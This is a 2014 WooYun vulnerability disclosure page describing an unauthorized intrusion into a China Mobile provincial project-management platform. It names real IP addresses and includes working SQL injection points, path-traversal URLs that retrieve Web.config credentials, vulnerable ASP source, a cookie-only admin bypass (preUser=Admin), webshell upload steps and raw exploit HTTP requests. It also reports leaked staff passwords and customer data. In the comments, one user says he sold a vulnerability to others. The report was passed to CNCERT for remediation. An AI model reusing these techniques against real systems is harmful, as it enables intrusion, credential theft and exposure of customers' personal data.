当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072501

漏洞标题:中国移动某省重要业务平台多处漏洞可导致重大安全影响(内部人员/合作伙伴信息泄露)

相关厂商:cncert国家应急响应中心

漏洞作者: HackBraid

提交时间:2014-08-15 12:02

修复时间:2014-09-29 19:36

公开时间:2014-09-29 19:36

漏洞类型:地下0day/成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-15: 细节已通知厂商并且等待厂商处理中
2014-08-20: 厂商已经确认,细节仅向厂商公开
2014-08-30: 细节向核心白帽子及相关领域专家公开
2014-09-09: 细节向普通白帽子公开
2014-09-19: 细节向实习白帽子公开
2014-09-29: 细节向公众公开

简要描述:

这次报告主要内容如下(涉及到的webshell和管理员账户已自行删除)
※通过高危SQL注入漏洞,由于权限很高可以直接添加管理员账户并成功入侵拿到一台服务器
※通过审计源代码,得到两个任意文件下载、一处任意文件上传可拿shell、多处越权、多处注入、几处奇葩的权限绕过(上传拿webshell与之后通过SQL注入入侵其他服务器都基于这个权限绕过)。
※通过审计得到的SQL注入漏洞成功入侵拿到另外一台服务器,泄露大大量客户信息

详细说明:

#落脚点(SQL注入)


http://111.11.13.250/PTMS/getPass.asp?UID=1 UID为注入点

y1.jpg


y2.jpg


sa权限,直接添加管理账户l密码为1

dx.jpg


审计篇


#####################################任意文件下载#######################################
1.http://111.11.13.250/dbBackup/download.asp?p=../&n=Web.config
源码如下:

<%
Dim strFilename,S,Fso,F,intFilelength,sPath
sPath = Request("p") //获取路径
If sPath<>"" Then sPath = sPath & "/"
strFilename = Server.MapPath(sPath & Trim(Request("n"))) //这里构建我们要下载的文件
Response.Buffer = True
Response.Clear
Set S = Server.CreateObject("ADODB.Stream")
S.Open
S.Type = 1
On Error Resume Next
Set Fso = Server.CreateObject("Scripting.FileSystemObject")
If Not Fso.FileExists(strFilename) Then
Response.Write("<center>")
Response.Write("<h1><img src='../image/404.gif' align=absmiddle>出错啦!</h1>你要下载的文件[" & Request("n") & "]不存在!<p>")
Response.Write("文件已过期或已丢失。<br><br><input type=button value='返回上一页面' onclick=""history.go(-1);"" >")
Response.Write("</center>")
Response.End
End If
Set F = Fso.GetFile(strFilename)
intFilelength = F.Size '获取文件大小
S.LoadFromFile(strFilename)
If Err Then
Response.Write("<h1>Error: </h1>Unknown Error!<p>")
Response.End
End If
Response.AddHeader "Content-Disposition","attachment;filename="&F.name
Response.AddHeader "Content-Length",intFilelength
Response.CharSet = "GB2312"
Response.ContentType = "application/octet-stream"
Do While Not S.EOS
Response.BinaryWrite S.Read(1024*1024*4)
Response.Flush
Loop
S.Close
Set S = Nothing
%>


Web.Config包含了数据库连接信息:

<?xml version="1.0" encoding="gb2312" ?>
<configuration>
<configSections>
<sectionGroup name="applicationSettings" type="System.Configuration.ApplicationSettingsGroup, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77***4e089" >
<section name="myBOSS.My.MySettings" type="System.Configuration.ClientSettingsSection, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77***4e089" requirePermission="false" />
</sectionGroup>
</configSections>
<appSettings>
<add key="sConnect" value="Provider=SQLOLEDB;Server=.;UID=sa;PWD=l***db;DATABASE=db***_LF" />
<add key="sUpPath" value="upFiles" />
</appSettings>
<connectionStrings/>
<system.web>
<compilation debug="true" strict="false" explicit="true" />
<pages>
<namespaces>
<clear />
<add namespace="System" />
<add namespace="System.Collections" />
<add namespace="System.Collections.Specialized" />
<add namespace="System.Configuration" />
<add namespace="System.Text" />
<add namespace="System.Text.RegularExpressions" />
<add namespace="System.Web" />
<add namespace="System.Web.Caching" />
<add namespace="System.Web.SessionState" />
<add namespace="System.Web.Security" />
<add namespace="System.Web.Profile" />
<add namespace="System.Web.UI" />
<add namespace="System.Web.UI.WebControls" />
<add namespace="System.Web.UI.WebControls.WebParts" />
<add namespace="System.Web.UI.HtmlControls" />
</namespaces>
</pages>

<authentication mode="Windows" />
<globalization requestEncoding="gb2312" responseEncoding="gb2312" />
<httpRuntime useFullyQualifiedRedirectUrl="true" maxRequestLength="409600" executionTimeout="900"/>
<sessionState mode="InProc" stateConnectionString="tcpip=127.0.0.1:42424" sqlConnectionString="data source=127.0.0.1;Trusted_Connection=yes" cookieless="false" timeout="30"/>
</system.web>
</configuration>


2.http://111.11.13.250/PTMS/Data/download.asp?n=../../Web.config 看源码,与1稍有不同

<%
Dim strFilename,S,Fso,F,intFilelength
strFilename = Server.MapPath(Trim(Request("n")))
Response.Buffer = True
Response.Clear
Set S = Server.CreateObject("ADODB.Stream")
S.Open
S.Type = 1
On Error Resume Next
Set Fso = Server.CreateObject("Scripting.FileSystemObject")
If Not Fso.FileExists(strFilename) Then
Response.Write("<h1>发现错误 Error:</h1>"&strFilename&"<br>你要下载的文件不存在!<p>")
Response.Write("<br><br><br><div align=center><a href='#' onclick='javascript:history.go(-1);'>返回前一页</a>")
Response.End
End If
Set F = Fso.GetFile(strFilename)
intFilelength = F.Size '获取文件大小
S.LoadFromFile(strFilename)
If Err Then
Response.Write("<h1>Error: </h1>Unknown Error!<p>")
Response.End
End If
Response.AddHeader "Content-Disposition","attachment;filename="&F.name
Response.AddHeader "Content-Length",intFilelength
Response.CharSet = "GB2312"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite S.Read
Response.Flush
S.Close
Set S = Nothing
%>


##############################几处奇葩的权限绕过(之后很多漏洞基于这漏洞)##########################
在webroot/PTMS下大部分文件需要登录验证
以/PTMS/home.asp文件为例:
<!-- #include file="connect.asp" -->
<!-- #include file="docheckuser.asp" -->
我们看下docheckuser.asp文件

<%Dim sUserID, sUserName
sUserID = Request.Cookies("preUser") //亮点有木有!!!
If sUserID="" Then
Response.Write "<script>alert('您尚未登录,或已经超时,请重新登录系统!');window.parent.dologin();</script>"
Response.End
End If
sUserName = DoGetSQLValue("select 用户名称 from tabUser where 用户帐号='" & sUserID & "'")
%>


仅仅是判断Cookies中preUser字段是不是空!
另外几处为:
docheckuser2.asp
docheckuser3.asp
#####################################任意文件上传#######################################
下面这个任意文件上传点,我们设定cookie中preUser=Admin,从下载的使用手册看到默认的管理员Admin

t.jpg


上传点:
http://111.11.13.250/PTMS/ishell.asp?listFile.asp?ID=1384&sKey=
我们直接刷新,提示需要登录

t1.jpg


抓包并设定preUser=Admin

t.jpg


ok,我们再次抓包,修改后缀即可得webshell

t.jpg


t1.jpg


单击301.aspx,即可进入shell页面

t2.jpg


##################################大量SQL注入漏洞#######################################
1.PTMS/adjProj.asp使用上面的绕过,添加preUser=Admin抓包(存在docheckuser.asp)

<!-- #include file="connect.asp" -->
<!-- #include file="docheckuser2.asp" -->
<%Dim sID
sID = Request.QueryString("ID")// 注入点
%>
<%
If Request.QueryString("flag")=1 Then
Dim sFs,sType,sItem,sDir,sVal
sFs = Request.Form("cfs")
sType = Request.Form("ctype")
sItem = Request.Form("citem")
sDir = Request.Form("cdir")
sVal = Request.Form("cval")

Dim i, pAry, sPrjName, idx, sRet, sRet1, sRet2, sRet3
Select Case sFs
Case "0" 'Do ReName
sRet = ""
Set RS = CreateObject("Adodb.Recordset")
RS.Open "SELECT * FROM tabProjClass WHERE ID=" & sID, CN, 1, 1
sPrjName = RS.Fields("项目名称").Value
pAry = Split(RS.Fields(sType).Value, VbCrLf)
For i=0 To UBound(pAry)
If pAry(i)=sItem Then sRet = sRet & sVal Else sRet = sRet & pAry(i)
If i<UBound(pAry) Then sRet=sRet & VbCrLf
Next
CN.Execute "UPDATE tabProjClass SET " & sType & "='" & sRet & "' WHERE ID=" & sID
CN.Execute "UPDATE tabProject SET " & sType & "='" & sRet & "' WHERE 所属项目='" & sPrjName & "'"


抓包,添加preUser字段为Admin

GET /PTMS/adjProj.asp?ID=1300* HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 218.207.74.91
DNT: 1
Proxy-Connection: Keep-Alive
Cookie:
ASPSESSIONIDCQRSBDDD=IDKENFKCGMPKPHBIJAOLCEME;preUser=Admin


z1.jpg


2.我们看下/PTMS/chekFile.asp(不存在docheckuser.asp)

<!-- #include file="connect.asp" -->
<% Dim sID, sKey, sObj
sID = Request.Form("ID") //POST提交ID
sKey = Unescape(Request.Form("sKey")) //POST提交sKey
sObj = Request.Form("obj")

On Error Resume Next
Err.Clear
Set RS = CreateObject("Adodb.Recordset")
RS.Open "SELECT * FROM tabFiles WHERE PID=" & sID & " AND 所属里程碑='" & sKey & "'",CN,1,1 //直接查询,没任何过滤
Dim ifc
ifc = RS.RecordCount
CloseDB()

'无附件时返回控件名称,否则忽略
If ifc=0 Then Response.Write sObj Else Response.Write ""
%>


抓包如下:

POST /PTMS/chekFile.asp HTTP/1.1
Host: 218.207.74.91
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml
+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/34.0.1847.116 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: ASP.NET_SessionId=jfhtb445x04kgt55fp21nx45;
ASPSESSIONIDCAQCAQDQ=CIOLCKPBMIMOGLOKLGBNIANP;
ASPXSpy=10dfc3c8e8208c98f8e42935c0fe42e7; preUser=Admin;
username=Admin; LastURL=; pRn=20; sGroupVal=
%C5%A9%D2%B5%D2%F8%D0%D0%B4%F3%CF%EE%C4%BF; cod=1; csd=8
ID=1*&sKey=1*


z2.jpg


在PTMS目录下还有好多文件就不一一校验了,你们修补可以通过session+cookie验证而不是cookie。
#####################################越权操作#########################################
http://111.11.13.250/eBBS/bbsList.aspx 写着内部网络使用
http://111.11.13.250/eBBS/showBBs.aspx
http://111.11.13.250/eBBS/addRec.aspx
http://111.11.13.250/eBBS/myeBBs.aspx

攻陷其它服务器


218.207.74.91
通过上面的越权注入,添加账户,攻陷服务器

dx4_diertai.jpg


dx_diertai_xianshi.jpg

漏洞证明:

http://www.tianxun365.com/2012/product.asp?ID=12 为河北省移动量身打造的

敏感信息泄露


河北省廊坊移动的账户密码一览

dx1.jpg


移动重要客户的联系方式,项目实施的位置信息等

dx2.jpg


河北省承德移动的账户密码一览

dx5_diertai_xinxi.jpg


在/PTMS/attFile/有大量交易、布线信息

x.jpg

修复方案:

一个个修补
先修复那个权限绕过,在修补最开始的注入点。

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-20 09:37

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT直接通报给中国移动集团公司,由其后续下发给省公司处置,感谢白帽子的认真测试。rank 20

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-15 16:08 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

    看看

  2. 2014-08-15 20:22 | 小鬼 ( 路人 | Rank:22 漏洞数:2 | 移动漏洞开发)

    重要平台?难道4A爆出来啦?

  3. 2014-08-19 13:10 | along ( 实习白帽子 | Rank:45 漏洞数:7 | 关注信息安全,阿龙)

    业务平台

  4. 2014-09-30 11:50 | 小卖部部长 ( 路人 | Rank:24 漏洞数:3 | 别拿部长不当干部!)

    @小鬼 同行?之前集团公司内部安全检测时,4A的确漏洞多多~

  5. 2014-10-14 20:05 | 小鬼 ( 路人 | Rank:22 漏洞数:2 | 移动漏洞开发)

    @小卖部部长 是的,4A漏洞被我爆出来了,竟然啥好处都没有,直接卖给别人了